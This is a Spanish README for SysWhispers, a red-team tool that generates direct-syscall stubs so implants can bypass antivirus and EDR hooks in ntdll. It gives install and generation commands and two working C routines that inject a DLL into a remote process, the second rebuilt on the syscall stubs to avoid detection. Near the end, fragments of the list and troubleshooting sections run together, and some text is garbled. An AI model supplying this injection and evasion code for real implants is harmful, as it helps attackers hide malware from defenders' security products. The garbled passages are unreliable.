
Evasión de AV/EDR mediante llamadas directas al sistema.
SysWhispers ayuda a evadir generando archivos de cabecera/ASM que los implantes pueden usar para realizar llamadas directas al sistema.
Todas las syscalls principales son compatibles desde Windows XP hasta Windows 10 19042 (20H2). Los archivos generados de ejemplo están disponibles en la carpeta example-output/.
Varios productos de seguridad colocan hooks en las API de modo usuario que les permiten redirigir el flujo de ejecución a sus motores y detectar comportamientos sospechosos. Las funciones en ntdll.dll que realizan las syscalls consisten en solo unas pocas instrucciones en ensamblador, por lo que reimplementarlas en su propio implante puede evitar la activación de esos hooks de productos de seguridad. Esta técnica fue popularizada por @Cn33liz y su publicación en blog tiene más detalles técnicos que vale la pena leer.
SysWhispers proporciona a los red teamers la capacidad de generar pares de cabecera/ASM para cualquier llamada al sistema en la imagen del núcleo del kernel (ntoskrnl.exe) en cualquier versión de Windows a partir de XP. Los encabezados también incluirán las definiciones de tipos necesarias.
La principal diferencia de implementación entre esto y el POC de Dumpert es que esto no llama a RtlGetVersion para consultar la versión del SO, sino que lo hace en el ensamblador consultando el PEB directamente. El beneficio es poder llamar a una función que soporte múltiples versiones de Windows en lugar de llamar a múltiples funciones, cada una soportando una versión.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscom.asm
syscom.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usar el interruptor --preset common creará un par de cabecera/ASM con las siguientes funciones:
win32k.sys) no son compatibles.ModuleNotFoundError en el script de Python.
pip3 install -r requirements.txt.syscalls.h ya han sido definidos.
--preset all).syscalls.h.Este script fue desarrollado por @Jackson_T pero se basa en el trabajo de muchos otros:
Agradecimientos especiales a @Dcept905 por las pruebas y sugerencias.
Este proyecto está licenciado bajo la Licencia Apache 2.0.